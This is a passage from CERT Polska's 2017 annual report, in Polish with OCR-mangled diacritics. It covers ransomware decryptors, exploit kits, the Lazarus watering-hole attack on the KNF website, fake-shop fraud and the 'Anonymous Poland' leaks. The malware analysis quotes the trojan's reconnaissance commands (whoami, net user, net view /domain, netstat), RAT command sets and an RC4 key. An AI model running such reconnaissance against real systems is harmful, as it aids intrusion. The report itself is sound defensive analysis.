tej samej rodziny co CryptoMix, ale uzywa innego
algorytmu szyfrowania. Nasze narzedzia sg rowniez
dostepne na stronie https:/nomoreransom.cert.pl.

W czasie, gdy powstawat ten raport, nasz dekryptor
CryptoMix/CryptoShield zostat pobrany 5542 razy

z 2721 unikalnych adreséw IP. Podobne wyniki osia-
gnat dekryptor Mole, ktoéry zostat pobrany 5898 razy
z 2571 unikalnych adreséw IP. W przypadku obu
odmian ransomware’u kwoty okupu byty bardzo duze
i siegaty kilku bitcoinow (czyli okoto 4000 dolaréw
amerykanskich po cenach z potowy 2017 roku). Nie
jeste$my w stanie doktadnie ustali¢, ilu osobom udato
sie poprawnie odszyfrowac swoje dane, ale nawet
ostrozne szacunki wskazuja, ze ofiary mogty dzieki
naszym dziataniom zaoszczedzi¢ olbrzymie sumy
pieniedzy.

Analizy, dzieki ktérym udato nam sie znalez¢ btedy
w ransomware i odszyfrowac dane ofiar, opublikowa-
liSmy na naszym blogu:

13 https:/www.europol.europa.eu/newsroom/news/no-
more-ransom-adds-15-new-decryption-tools-record-num-
ber-of-partners-join-global-initiative

® Mole ransomware: analiza
i dekryptor: https:/www.cert.pl/news/single/
mole-ransomware-analiza-dekryptor/

e Analiza techniczna rodziny CryptoMix/Crypt-
File2: https:/www.cert.pl/news/single/
techniczna-analiza-rodziny-cryptomixcryptfile2/

Tworzenie narzedzi do deszyfrowania ransomware
pozwala ofiarom odzyskac¢ swoje pliki bez ptacenia
okupu, co znacznie zmniejsza przychdd przestepcow.

Exploit kity

Przegladarka internetowa to program, z ktérego
korzysta prawie kazdy uzytkownik komputera. Z tego
wzgledu cyberprzestepcy czesto wykorzystuja jg jako
medium ataku, ktéry moze przybrac rézne formy.

Z poziomu przegladarki mozna zbierac¢ informacje

o ofierze i jej Srodowisku pracy (fingerprinting), zeby
przygotowac odpowiedni zestaw narzedzi i technik
do dalszych dziatan.

Wykorzystujac fakt, ze uzytkownik jest zalogowany
do jakiegos$ serwisu, atakujgcy moze w niektorych
przypadkach wykonac bez jego wiedzy dang opera-
cje, np. zmienic hasto. Musi tylko naktonic ofiare do
klikniecia w link.

Czesto wykorzystywany jest phishing, czyli wytudza-
nie danych przez fatszywe witryny tudzaco podobne
do prawdziwych (np. formularze logowania lub
strony zachecajace do podania danych osobowych).

Jesli uzytkownik korzysta z nieaktualizowanej prze-
gladarki lub jej dodatkow - wtyczek takich jak flash,
java, silverlight czy pdf - atakujgcy moze wykorzystac
luke i automatycznie wykonac¢ kod maszynowy na
komputerze ofiary. Najczesciej do tego typu atakéow
wykorzystuje sie Exploit Kity, czyli narzedzia posia-
dajace zestaw exploitow, ktére sg automatycznie
dobierane pod atakowang wersje oprogramowania,

a nastepnie serwowane uzytkownikowi.

W ramach projektow realizowanych przez CERT
Polska w 2017 r. powstat system umozliwiajacy
badanie zagrozen wycelowanych w przegladarki
internetowe, wywodzacy sie z wczesniej projektowa-
nego i testowanego prototypu.
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Dane do analizy pobierane sa z bazy né lub doda-
wane manualnie. Nastepnie przy uzyciu zaréwno
nisko, jak i wysoko interaktywnych klienckich
honeypotéw, zwirtualizowane zostaje sSrodowisko
przegladarki, gdzie poszczegdlne zadania s3 poddane
analizie. W tym procesie symulowane jest standar-
dowe zachowanie uzytkownika przy odwiedzaniu
badanych witryn, jednoczeénie zbierane s rézne
dodatkowe informacje na temat ich dziatania.

Dane pochodzace z tego procesu sg pdzniej analizo-
wane. W przypadku wykrycia zagrozenia, ma to na
celu okredlenie jego stopnia i rodzaju. Wyszukiwane
sg sygnatury znanych zagrozen w ruchu sieciowym,
pobranych obiektach, a takze w zachowaniu dyna-
micznych komponentow.

EUNITY

Projekt EUNITY promuje
dialog w dziedzinie
bezpieczenstwa teleinfor-

matycznego oraz ochrony
prywatnosci pomiedzy Unig Europejska a Japonia.
Jego gtéwne cele to:

® Wspomaganie nawigzywania kontaktow
i wymiany doswiadczen. Okreslenie biezacych
trendéw i wyzwan w obu regionach oraz poréw-
nanie kierunkéw dziatann administracji, przemystu
oraz Srodowisk akademickich.

o Zidentyfikowanie obszaréw, w ktérych wskazana
jest wspotpraca europejskich i japonskich firm
oraz instytucji. Poréwnanie planéw badawczych,
legislacji oraz dtugofalowe;j polityki w dziedzinie
bezpieczenstwa teleinformatycznego. Wskaza-
nie potencjalnych mechanizmoéw finansowania
przysztych europejsko-japonskich projektow
badawczo-rozwojowych.

® Promocja innowacyjnych rozwigzan stworzo-
nych w Europie oraz dziatan, jakie UE podejmuje
w obszarze bezpieczenstwa.

W pazdzierniku 2017 r. w Tokio odbyt sie pierwszy
z dwdch planowanych warsztatow. Kilkudziesieciu
przedstawicieli instytucji japonriskich oraz europejskich

miato okazje przedyskutowac mozliwosci wspoét-
pracy na réznych ptaszczyznach, takich jak badania,
wspoétpraca CSIRT-6w i standaryzacja. Poruszane
byty réwniez kwestie zwigzane z uwarunkowaniami
prawnymi oraz podej$ciem do finansowania dziatan
w dziedzinie bezpieczeristwa. Kolejny warsztat zosta-
nie zorganizowany w jednym z europejskich miast

w czwartym kwartale 2018 roku.

Projekt rozpoczat sie w maju 2017 i bedzie trwac
przez dwa lata. Wiecej informacji mozna znalez¢ na
oficjalnej stronie: http:/www.eunity-project.eu/

Projekt EUNITY otrzymat finansowanie z Programu
Ramowego Unii Europejskiej Horyzont 2020
(H2020-DS-SC7-2016) w ramach grantu nr 740507.
Waznym projektem

NARODOWA
P PLATFORMA
CYBERBEZPIEGZENSTWA
krajowym, w ktérym

uczestniczy CERT Polska, jest Narodowa Platforma
Cyberbezpieczenstwa (NPC). W ramach projektu
powstanie prototyp zintegrowanego systemu moni-
torowania, obrazowania i ostrzegania o zagrozeniach
identyfikowanych w cyberprzestrzeni panstwa. Jest
to kluczowe zwtaszcza z punktu widzenia ustawy

o krajowym systemie cyberbezpieczenstwa, ktorej
wejscie w zycie planowane jest na rok 2018. NPC
uwzglednia zaréowno mechanizmy bezpiecznej i efek-
tywnej wymiany szerokiego zakresu informacji, jak

i szacowanie ryzyka oraz koordynacje reagowania na
incydenty na poziomie krajowym.

NPC

Projekt rozpoczat sie we wrzesniu 2017 roku,

a planowane zakonczenie przypada na rok 2020.
Oprocz NASK, ktory jest liderem konsorcjum,

w realizacji projektu uczestnicza: Instytut £3cznosci,
Politechnika Warszawska oraz Narodowe Centrum
Badan Jadrowych.

Projekt wspétfinansowany jest przez Narodowe
Centrum Badan i Rozwoju w ramach programu
CyberSecldent ,Cyberbezpieczenstwo i Tozsamosc¢”.
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Zagrozenia i incydenty

krajowe

KNF.GOV.PL

Koniec stycznia 2017 roku byt burzliwym okresem
dla sektora finansowego w Polsce. Niezidentyfiko-
wani witamywacze uzyskali dostep oraz wykradli
dane z kilku bankow. Wedtug firmy Kaspersky Lab,
atak byt czescig duzej operacji wymierzonej m.in.

w Australie, Meksyk, Urugwaj oraz Rosje. W raporcie
,Lazarus Under The Hood" odpowiedzialnoscig za

§ 5 &8

Uzytkownicy

@

knf.gov.pl

kompromitacji serwera KNF utrzymujacego aplika-
cje webowa, dodali w kodzie strony przekierowanie
na kontrolowane przez siebie adresy. W efekcie
uzytkownik odwiedzajacy strone KNF pobierat
dodatkowe skrypty, ktére miaty za zadanie wery-
fikacje adresu zréodtowego. Jedli ofiara pochodzita

z zakresu adresowego znajdujgcego sie poza zainte-

@

sap.misapor.ch

eye-watch.in

@

Schemat 1. Schemat infrastruktury wykorzystanej w ataku na knf.gov.pl

infekcje zostata obarczona potnocnokoreanska grupa
Lazarus, znana z proby kradziezy miliarda dolaréw
z banku centralnego w Bangladeszu w 2016 roku.

Skuteczno$¢ ataku byta wynikiem zastosowania
techniki wodopoju (watering hole attack), polegajacej
na rozprzestrzenianiu ztosliwego oprogramowania za
posrednictwem zaufanego zrodta. W tym wypadku
byta to witryna Komisji Nadzoru Finansowego
(KNF), ktéra jest codziennym zrédtem informac;ji dla
wielu instytucji z branzy finansowej. Napastnicy po

resowaniem napastnika, ztosliwe oprogramowanie
nie byto instalowane.

Poczatek ataku na polskie banki datujemy na czwarty
pazdziernika 2016 roku - wtedy pojawity sie pierwsze
skrypty przekierowujace ruch ze strony KNF. W pierw-
szym etapie wykorzystywana byta domena eye-watch.
in, ktéra w potowie grudnia zostata zastgpiona domeng
sap.misapor.ch. Obie maszyny odpowiedzialne za infek-
cje byty przejetymi serwerami, prawdopodobnie za
pomoca podatnej wersji serwera JBOSS.
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Pierwszym krokiem byta weryfikacja adresu IP
ofiary. Po niej nastepowato sprawdzenie systemu
operacyjnego, wersji wtyczek Silverlight i Adobe
Flash oraz obecnosci programu EMET (Enhanced
Mitigation Experience Toolkit). Atakujacy, posiadajac
te informacje, mégt zdecydowad jakiego exploita
uzy¢, aby proces infekcji zakonczyt sie sukcesem.

W swoim arsenale napastnicy mieli trzy exploity

na podatnosci w Adobe Flash: CVE-2016-1019%,
CVE-2016-4117%, CVE-2015-8651% oraz jeden na
Microsoft Silverlight: CVE-2016-0034'. Podatnosci
te byty juz wczesniej wykorzystywane przez explo-
it-kity8, m.in. Neutrino, RIG oraz Magnitude. Warto
réwniez wspomnied, ze pomiedzy tatka na ostatnig
podatnos¢ (CVE-2016-4117), a poczatkiem ataku
minety cztery miesigce. Organizacje, ktére padty
ofiarg ataku, nie zdazyty przez ten czas zaktualizowaé
wykorzystywanego przez siebie oprogramowania.

Celem shellcode'u osadzonego w exploitach byto
pobranie pliku z trojanem o nazwie svchost.exe,
ktory umozliwiat dostep zdalny, a nastepnie jego
uruchomienie.

Dziatanie trojana

Ztosliwe oprogramowanie po uruchomieniu
zapewniato sobie persystencje, czyli mozliwosc
uruchomienia po restarcie maszyny. Plik wykony-
walny kopiowany byt do $ciezki: %APPDATA%\
Roaming\Microsoft\Windows\Start Menu\
Programs\Startup\Winslui.exe. Po pomys$inym
dodaniu sie do autostartu, nastepowato zebranie
informacji o komputerze, aktualnie zalogowanym
uzytkowniku oraz otoczeniu sieciowym maszyny za
pomoca narzedzi wbudowanych w Windows:

14 http:/blog.trendmicro.com/trendlabs-security-intelli-
gence/look-adobe-flash-player-cve-2016-1019-zero-day-
vulnerability/

15 https:/www.fireeye.com/blog/threat-re-
search/2016/05/cve-2016-4117-flash-zero-day.html

16 https:/blogs.forcepoint.com/security-labs/popular-
site-leads-angler-ek-cve-2015-8651-flash-player-exploit

17 https:/securelist.com/the-mysterious-case-of-
cve-2016-0034-the-hunt-for-a-microsoft-silverlight-O-
day/73255/

18 http:/malware.dontneedcoffee.com/2016/04/cve-
2016-1019-flash-up-to-2100182187.html

cmd.exe /c \"hostname > %s\""

cmd.exe /c \"whoami >> %s\”

cmd.exe /c \"ver >> %s\”

cmd.exe /c \'ipconfig -all >> %s\”

cmd.exe /c \"ping www.google.com >> %s\”
cmd.exe /c \"query user >> %s\"

cmd.exe /c \"net user >> %s\”

cmd.exe /c \"net view >> %s\”

cmd.exe /c \"net view /domain >> %s\”
cmd.exe /c \"reg query \"HKCU\\SOFTWARE\
Microsoft\Windows\CurrentVersion\Internet
Settings”

cmd.exe /c \"tasklist /svc >> %s\”

cmd.exe /c \"netstat -ano | find \"TCP\”

Po wykonaniu wszystkich komend, wynik ich dzia-
tania wysytany byt do kontrolera C&C. Serwer mogt
odpowiedzie¢ na pare sposobdéw, lecz domysine
polecenie brzmiato ,success” i sprawiato, ze probka
“spata” przez 900000 milisekund. W kolejnym kroku
atakujacy mégt recznie przestac kolejna prébke
ztosliwego oprogramowania, wyspecjalizowana pod
katem zebranych danych z sieci. Svchost.exe réwniez
odszyfrowywat przekazana w pézniejszym kroku
ztosliwg biblioteke DLL i odpowiadat za jej urucho-
mienie. Celem tego etapu byto zestawienie sesji

z C&C, tak aby umozliwi¢ atakujgcemu dostep do
skompromitowanej maszyny.

Infiltracja sieci

Napastnicy, posiadajac mozliwo$¢ uruchomienia
swojego kodu na komputerze wewnatrz sieci, starali
sie podnie$¢ swoje uprawnienia i zabezpieczy¢
$ciezke dostepu do infrastruktury. Przeprowadzane
byty rowniez skanowania serweréw wewnetrznych
pod katem dziatajgcych aplikacji Tomcat (domysiny
port TCP: 8080), wraz z probami logowania standar-
dowymi hastami. Uwage intruzéw przykuty réwniez
dziatajgce ustugi SMB i sieciowe udziaty admini-
stracyjne C$, do ktorych logowano sie za pomoca
metody stownikowej.

Uruchomienie dostarczonego kodu na przejetych
maszynach odbywato sie za pomocg dwéch metod.
Pierwsza byto wykorzystanie utworzonego zadania
w Harmonogramie Zdarzen (Task Scheduler). Zadanie
to byto uruchamiane przy kazdym starcie systemu
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operacyjnego, co pozwolito zachowaé persystencje
po restarcie maszyny.

Drugim sposobem uruchamiania malware’u byta
ustuga Service Control Manager?’. Atakujacy reje-
strowat nowa ustuge systemowa, ktéra wykonywata
dostarczony kod. Mégt to by¢ zaréwno skrypt .bat,
jak i biblioteka .dll.

Uruchomiona w systemie ustuga wykorzystywata
kod z pliku gpsvc.exe. Byto to narzedzie do tworzenia
kolejnych plikow, ktdre zawieraty narzedzia zdalnego
dostepu i uruchamiania kodu:

e srservice.dll - biblioteka odpowiedzialna za
wstrzykiwanie ztos$liwego kodu do innych
procesow oraz odszyfrowywanie plikow zaszyfro-
wanych algorytmem RC4 Spritz;

® srservice.chm - zaszyfrowana biblioteka;

e srservice.hlp - plik konfiguracyjny biblioteki.

Po odszyfrowaniu biblioteki srservice.chm

i uruchomieniu jej w kontekscie procesu Isass.exe,
nawigzywane byto potaczenie z serwerem C&C
(zapisanym w pliku konfiguracyjnym). Malware wyko-
rzystywany w tym etapie infekcji udostepniat szereg
komend typowych dla RAT-6w. Ponizej prezentujemy
najbardziej interesujgce polecenia:

* CMDL - uruchomienie polecenia, zapisanie wyniku
dziatania do pliku tekstowego, upload do serwera
C&C, usuniecie pliku z rezultatem

* DIE - zabicie procesu malware

* FTIM - ustawienie innego czasu dla wskazanego pliku
* GCFG - wystanie konfiguracji do C&C

* GINF - pobranie informacji o systemie operacyj-
nym, takich jak: wersja systemu operacyjnego, CPU,
ilos¢ RAM, BIOS, lista interfejséw sieciowych

* PEEX - wstrzykniecie kodu do procesu explorer.exe
(klasyczne DLL Injection)

* PEIN - wstrzykniecie kodu do dowolnego procesu
(poprzez PID)

* PVEW - zrzut dziatajgcych proceséw w systemie
operacyjnym

* RUN - uruchomienie polecenia

* RUNX - uruchomienie procesu w kontekscie innego
uzytkownika (podobne do Sysinternals Runas)

* SCFG - aktualizacja pliku konfiguracyjnego

* SLEP - zerwanie potaczenia z C&C i uspienie
procesu, by nawigzaé go ponownie za czas zdefinio-
wany przez atakujacego

* ZDWN - pobranie i kompresja pliku z dysku ofiary

Wazna funkcjonalnoscia tego ztosliwego oprogramo-
wania jest mozliwo$¢ posredniczenia (dziatania jako
proxy) przy przesytaniu ruchu ztosliwego oprogramo-
wania, w ramach sieci LAN, pomiedzy dziatajagcymi
procesami malware.

Kolejna ztosliwa probka jest plik fdsvc.exe (i jego
biblioteka fdsvc.dll), ukrywajacy sie pomiedzy bina-
riami systemu operacyjnego w katalogu C:\Windows.
Jedynym jego zadaniem jest odszyfrowanie biblioteki
za pomocg klucza RC4: A6 EB 96 00 61 B2 E2 EF OD
CBEB8 C4 5AF1669CA480CD9AF12F46252F
DB 16 26 4B C4 3F 3C.

fdsvc.dll to drugie narzedzie typu RAT, umozliwia-
jace wykonywanie komend, a takze pobieranie
plikdw oraz informacji o zarazonym hoscie. Komendy
otrzymywane z serwera sg w jezyku rosyjskim,
ktérego wykorzystanie jest fatszywa flaga, majaca
skierowa¢ uwage w innga strone. Firma BAE Systems
przeanalizowata jezyk uzyty w tych poleceniach

i stwierdzita, ze wyrazy zawierajg podstawowe btedy,
a ich autorem nie byta osoba rosyjskojezyczna?.
Autorzy malware'u, aby uwiarygodni¢ jego rosyjskie
pochodzenie, pokusili sie réwniez o wykorzystanie
protektora Enigma, ktérego tworca jest Rosjanin.

Polecenia fdsvc.dll:

* Derzhat - Utrzymanie dziatania potgczenia

* Nachalo - Ustanowienie potaczenia z C&C

* Pereslat - Wyslij plik do C&C

* Poluchit - Pobierz plik

* Ssylka - Pobierz plik z URL

* Ustanavlivat - Rozpoczecie komunikacji za pomocg
autorskiego protokotu

*Vykhodit - Zakonczenie dziatania malware

19 https:/msdn.microsoft.com/en-us/library/windows/
desktop/ms685150(v=vs.85).aspx

20 http:/baesystemsai.blogspot.com/2017/02/lazarus-
false-flag-malware.html
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Fatszywe oferty sprzedazy

W roku 2017 zaobserwowalismy nasilenie zjawiska wytudzania pieniedzy za posrednictwem fatszywych ogto-

szen sprzedazy. Zgtoszenia ofiar, kierowane do CERT Polska, umozliwity analize rozwoju oraz zrozumienie

technik stosowanych przez przestepcéw, zajmujacych sie tym rodzajem “biznesu”. Zaobserwowane dziatania
wskazuja na konkurujace ze sobg grupy, ktére w lepiej lub gorzej przygotowany sposéb, staraja sie siegnac po

pienigdze kupujacych.

Miedzynarodowa grupa bazujaca
na porzuconych domenach

Jeden z przedsiebiorcéw, zajmujacych sie handlem
online, zgtosit fakt wykorzystywania autorskiego
obrazka towaru przez inny sklep. Nasza analiza
pozwolita zidentyfikowa¢ masowy proceder reje-
stracji domen, wskazujacy na uzytkownikow z Chin.
Odbywato sie to przy wykorzystaniu nazw, ktére
przez brak odnowienia, trafiaty ponownie do ogdl-
nodostepnej puli. Archiwa stron internetowych
wskazuja, ze badane domeny zwigzane byty w prze-
sztosci z legalnie dziatajgcymi firmami. Szkodliwy
proceder odbywat sie takze w innych strefach TLD,
takich jak: .com .org .nz .cz .it., o czym informowaty
nas inne CERT-y. W domenach zamieszczane byty
ogtoszenia oferujgce bardzo szeroki asortyment
towardw, gtéwnie odziezy oraz bizuterii.

Proces zakupowy prowadzit ofiare do formularza
pozyskujacego numer karty kredytowe;j.

Ofiara mogta wybra¢ jedng z dziesieciu walut rozli-

czenia. Odpowiadato to rejonom, z ktérych docieraty

informacje na temat skutecznego uzycia techniki.

W Polsce kampania nie odniosta oczekiwanego przez

przestepcow efektu, gtdwnie ze wzgledu na bardzo
niskg jakos¢ tresci na stronach.
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Grupa publikujaca na tablicach ogtoszen

Kolejng grupe oszustw stanowig ogtoszenia publi-
kowane na portalach typu tablica (olx.pl, gumtree.
pl). Proceder jest wyjatkowo trudny do wykrycia,
poniewaz kampanie nie maja charakteru masowego,
a wykorzystywany przez przestepcéw schemat moze
zmieniac sie w zaleznosci od potrzeb.

Czesto schemat wygladat w ten sposéb:

Ofiara, poszukujac konkretnego towaru, przeglada
bazy ofert. Trafia na ogtoszenie oszusta i wyraza
zainteresowanie zakupem. W bezposredniej komu-
nikacji otrzymuje informacje o przedmiocie. CERT
Polska najczesciej badat ogtoszenia dotyczace
sprzetu elektronicznego, telefondw, a takze sprzetu
AGD. Internauci informowali nas réwniez o ofertach
akcesoridw dzieciecych. W kolejnym kroku atakujacy
proponowat sfinalizowanie transakcji poprzez portal
aukcyjny allegro.pl, ttumaczac to podniesieniem
swojej wiarygodnosci i brakiem mozliwosci zakoricze-
nia aukcji przed czasem. Domena, do ktérej odsytat
ofiare, byta przygotowang strong phishingowa.

Nazwy dedykowanych domen phishingowych suge-
rowaty wizytujgcym legalne zasoby serwisu allegro.
Przestepcy wielokrotnie postugiwali sie kombinacja
nazw showproducts, showitem, itemview, viewitem,
viewlisting, réwniez allegro; zlecajac rejestracje

w réznych strefach TLD. Zaréwno fatszywy panel
logowania, jak i szablon komunikacji mailowe;j,
odpowiadat tym stosowanym przez Allegro. Dlatego
ofiara, ktéra nie zwrécita uwagi na pasek adresowy
przegladarki, byta przekonana o legalno$ci catej
transakgji.

mspracie - modsslegrs  skiep Allégre

allegro | = —— - IR
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Grupa bazujaca na profesjonalnych
platformach sklepowych

Trzecim obszarem dziatania przestepcow byto
wykorzystanie gotowych platform sprzedazowych
(e-commerce). Wspodtczesne rozwigzania tego typu
sg wyjatkowo proste w zarzadzaniu oraz integra-

cji z innymi systemami. W badanych przypadkach
przedmiotem oferty byt najczesciej sprzet elek-
troniczny. Uwage zwracat brak spéjnosci co do
rodzaju oferowanego towaru. W jednym ze ziden-
tyfikowanych sklepéw, obok zaktadki z telefonami,
ustawione byty kuchnie gazowe oraz kody Xbox Live
Gold. Fatszywy asortyment miat by¢ jak najszerszy,
zeby zwiekszy¢ liczbe potencjalnych “klientow”.
Woystarczyto jeszcze odpowiednie zaindeksowanie
w wynikach wyszukiwarki, aby zapewni¢ wysoki
poziom odwiedzin. Opisywana grupa uzyta komer-
cyjnej techniki podniesienia pozycji swojego sklepu
w reklamach Google. Po wpisaniu nazwy poszukiwa-
nego towaru, “zta witryna” byta podsuwana ofierze
na jednej z pierwszych widocznych pozycji.



38

CERT Polska
Raport Roczny 2017

nask CERT.PL

Analiza informacji z rejestréw przedsiebiorcow
najczesciej nie wzbudzata podejrzen - zgadzata sie

z regulaminem zamieszczonym w fatszywym sklepie.
Dociekliwy uzytkownik mégt takze odnalez¢ fizyczny
adres na mapie. Przez pewien czas obserwowali-
smy rownolegte préby podnoszenia wiarygodnosci
oszustéw, zarébwno poprzez spreparowane opinie

na portalach prezentujgcych oceny sprzedazy, jak

i poprzez przygotowane domeny phishingowe,
udajace opineo.pl oraz ceneo.pl. Komunikacja

z przestepca odbywata sie za posrednictwem rozwia-
zan dostarczanych przez platforme sprzedazowa:
email, komunikator oraz telefon. Nalezy zauwazy¢,
ze w szczytowej fazie dziatania sklepu, wszystkie

z wymienionych form kontaktu byty obstugiwane

w petni responsywnie. Dopiero w miare rosnacej
liczby oszukanych oséb i negatywnych wpiséw w sieci,
sklep oraz kanaty kontaktu z nim byty porzucane.

Techniki kradziezy pieniedzy

Przestepcy, po skutecznym przeprowadzeniu ofiary
przez proces zakupowy, wysytali elektroniczny doku-
ment na wzoér faktury pro-forma. Nastepnie starali
sie wyegzekwowac za nig zaptate. W zaleznosci

od posiadanych narzedzi, odpowiednio prowadzili
narracje, odsytajac ofiare do systemu integratora
ptatnosci, dedykowanego konta stupa lub fatszywego
systemu integratora ptatnosci.

W dwadch pierwszych przypadkach skradziona kwota
odpowiadata tej rzeczywistej, ustalonej w procesie
zakupu. Co ciekawe, kupujacy mégt nawet urucho-
mi¢ system ptatnosci ratalnych, za posrednictwem
dostawcy platformy sklepowej. Scenariusz z fatszy-
wym integratorem ptatnosci niést zazwyczaj dla
ofiary najpowazniejsze konsekwencje. Atakujacy,

w dedykowanej wiadomosci e-mail, odsytat kupu-
jacego do zestawu stron podszywajacych sie pod
system logowania do bankowosci internetowej.
Nalezy doda¢, ze phishing byt przygotowany wyjat-
kowo dobrze. Kazda ze zidentyfikowanych domen
miata wazny certyfikat SSL, a jej wyglad odpowiadat
legalnej stronie. Ofiara, ktéra nie zwrdcita uwagi
dokad prowadzi link z wiadomosci e-mail, lub nie
spojrzata na pasek adresowy przegladarki okna logo-
wania, mogta mie¢ duzy problem w zidentyfikowaniu
oszustwa.
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Po uzyskaniu danych logowania, atakujacy otwierat
sesje z bankiem ofiary. Tam, w zalezno$ci od rodzaju
oraz stopnia rozpoznania systemu transakcyjnego,
prébowat wykonac akcje (dodanie lub modyfikacja
odbiorcy zaufanego, zatozenie zlecenia statego,
przelew jednorazowy), ktéra mogta umozliwié
transfer srodkéw ofiary w zaplanowane miejsce.
Atakowany otrzymywat réwnolegle prosbe o akcep-
tacje ztoéliwego dziatania na rachunku. Jezeli podat
kod autoryzacyjny przestepcom, niosto to dla niego
powazne konsekwencje.

Pierwsze proby z tego rodzaju szkodliwym dzia-
taniem zaobserwowalismy w drugiej potowie

2017 roku. Poczatkowo nie miaty one charakteru
masowego. Sytuacja diametralnie zmienita sie po
wystawieniu oferty jako kompletnej ustugi w krajo-
wym podziemiu internetu. Badajac ten trend
zaktadamy, ze w 2018 roku bedziemy obserwowacé
nasilenie szkodliwych kampanii inspirowanych
opisana technika.

Podsumowanie

CERT Polska w 2017 roku odnotowat 227 zgto-

szen dotyczacych oszustw za pomocg opisanych
powyzej technik. taczne straty, ktére zarejestrowa-
lismy z tego tytutu, to blisko 200 tysiecy ztotych.
Nalezy zaznaczyé, ze jest to tylko procent catosci
strat poniesionych przez oszukanych kupujacych.
Zapewne nie wszyscy poszkodowani zdazyli ztozy¢
zawiadomienie do prokuratury. By¢ moze czes$¢ ofiar
pogodzita sie z poniesiong stratg i pozostaje poza
ewidencja, nie wierzac w skutecznos¢ krajowego
systemu $cigania sprawcow. Pamietajmy jednak, ze
zacheceni sukcesami przestepcy beda rozwijac¢ swoje
techniki, bezwzglednie wykorzystujac stabo$¢ dziata-
nia organow Scigania.

Pod koniec 2017 roku nasility sie wytudzenia z wykorzystaniem fatszywych
sklepow internetowych. Otrzymalismy 227 zgtoszen od poszkodowanych,

tacznie na blisko 200 tysiecy ztotych.
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Udziat “Anonymous Poland” w wyciekach

danych

Konta w serwisie Twitter pod nazwa “Anonymous
Poland” kilkukrotnie w 2016 i 2017 roku byty wyko-
rzystywane do publikacji wyciekéw danych. Te
pochodzity z atakéw na systemy informatyczne insty-
tucji panstwowych, miedzynarodowych, organizacji
pozarzadowych i podmiotéw komercyjnych.

Badacze bezpieczenstwa IT, dziennikarze Sledczy
oraz eksperci zajmujacy sie zagadnieniami szerzenia
propagandy i fatszywych informacji s3 zgodni, ze
nie nalezy taczy¢ dziatalnosci persony “Anonymous
Poland” na Twitterze z zadng z polskich grup akty-
wistéw dziatajacych w internecie. Swiadcza o tym
nie tylko szczegéty techniczne publikacji informaciji
z wyciekoéw, ale réwniez analiza motywacji, ktére
mogty staé za udostepnieniem poszczegdinych
materiatéw.

W niniejszym raporcie przedstawimy przypadki czte-
rech wyciekéw danych, do przeprowadzenia ktorych
przyznata sie persona “Anonymous Poland” wyste-
pujaca na Twitterze pod nazwami @anpoland oraz @
opanon_pl wraz z siatkg wspomagajacych je botéw.

WADA i CAS

Dla lepszego zrozumienia kontekstu catej sprawy
nalezy cofnac sie w czasie. W sierpniu i wrzesniu
2016 roku instytucje powiazane z Miedzynarodo-
wym Komitetem Olimpijskim odpowiedzialne za
zwalczanie dopingu: Swiatowa Agencja Antydopin-
gowa (WADA) oraz Trybunat Arbitrazowy do spraw
Sportu (CAS, instytucja odwotawcza) zostaty zaata-
kowane przez hakeréw.

13 wrzesnia 2016 roku WADA w oswiadczeniu na
swojej stronie?! poinformowata, ze uzytkownicy
systemu wspomagajgcego kontrole antydopingowe
(ADAMS) padli ofiarg atakow phishingowych. Jako
jedno z pierwszych przejete zostato konto Juliji

21 https:/www.wada-ama.org/en/media/news/2016-09/
wada-confirms-attack-by-russian-cyber-espionage-group

Rusanowej, sygnalistki nieprawidtowosci dopingo-
wych w rosyjskiej reprezentacji olimpijskiej. Dyrektor
WADA jako powdd atakéw uznat prébe podwazenia
autorytetu $wiatowego systemu kontroli dopingo-
wych. Ostatecznie WADA przyznata, ze wyciekty
dane?? przynajmniej 41 zawodnikow.

Z kolei CAS potwierdzito? préby atakow, ale

w o$wiadczeniu dla Associated Press rzecznik
tej organizacji nie wypowiedziat sie na temat ich
skutecznosci.

Link do danych z wycieku z CAS wraz z nagraniem
wideo prezentujacym przeprowadzenie ataku zostat
udostepniony 10 sierpnia 2016 roku na profilu
twitterowym “Anonymous Poland” (@anpoland).
Film zamieszczony na YouTube?* miat takze pokazac
zmodyfikowane strony gtowne WADA i CAS, jednak
fakt podmiany nie zostat potwierdzony przez zadna
z organizacji. Niechciana zmiana nie zostata réwniez
odnotowana w kopiach Web Archive.

Z T‘ Anonymous Poland  » y

W/ |eak International Court of Arbitration for
Sport: Files DB:
sendspace.com/file/w03ula & Video

Rysunek 3. Publikacja wycieku danych ze strony
CAS?3

22 https:/www.wada-ama.org/en/media/news/2016-09/
cyber-hack-update-data-leak-concerning-41-athletes-
from-13-countries-and-17

23 https:/apnews.com/f04a262d837c4bda857
dd6a2aa050b14

24 https:/www.youtube.com/watch?v=day5AqObHsA

25 http:/web.archive.org/web/20160908145346/
https:/twitter.com/anpoland
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Opublikowane informacje byty zrzutem bazy danych
strony internetowej CAS. W4réd nich znalazty sie
adresy email i skréty md5 haset uzytkownikéw

oraz redaktoréw zarejestrowanych na stronie. Jak
zapewnito CAS, dane dotyczace prowadzonych
postepowan nie zostaty upublicznione.

Dzien pdzniej na profilu “Anonymous Poland”
pojawity sie grozby publikacji danych z WADA. Osta-
tecznie dane opublikowano na stronie fancybear.
net? (uzywajac innej persony: “Fancy Bears’ Hack
Team”). Upublicznione dokumenty zawieraty dane
medyczne dotyczace wynikéw kontroli antydopin-
gowych oraz wyjatkowe dopuszczenia w stosowaniu
konkretnych substancji.

7 wrzesnia 2016 roku atakujacy mieli takze podmie-
ni¢ strony internetowe amerykanskiej reprezentacji
olimpijskiej (teamusa.org) oraz Miedzynarodowego
Komitetu Paraolimpijskiego (paralympic.org)?’.
Podobnie jak w przypadku rzekomej podmiany
stron WADA i CAS opublikowano filmy na YouTube
z wejéciami na zaatakowane strony?. Informacje te
nie zostaty jednak potwierdzone.

Na filmie majacym prezentowac skutki atakow na
strony WADA i CAS mozna zauwazyc¢, ze choc¢ system
operacyjny skonfigurowany jest w polskiej wers;ji jezy-
kowej, to w niedawnej historii odwiedzonych stron
znajduja sie wytacznie rosyjska i butgarska wersja
wyszukiwarki Google. Swiadczy¢ to moze o adresie IP
pochodzacym z jednego z tych krajéw.

26 https:/web.archive.org/web/20160913013727/
http:/fancybear.net/

27 http:/web.archive.org/web/20160908145346/
https:/twitter.com/anpoland

28 https:/www.youtube.com/watch?v=EwPEh71nDho;
https:/www.youtube.com/watch?v=y8J1KmObabs
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Rysunek 4. Klatka z filmu prezentujacego skutki
ataku na strony WADA i CAS

Z kolei na filmach ukazujgcych podmiany stron
teamusa.org oraz paralympic.org po wpisaniu hasta
wyszukiwania w przegladarce Google Chrome, ta nie
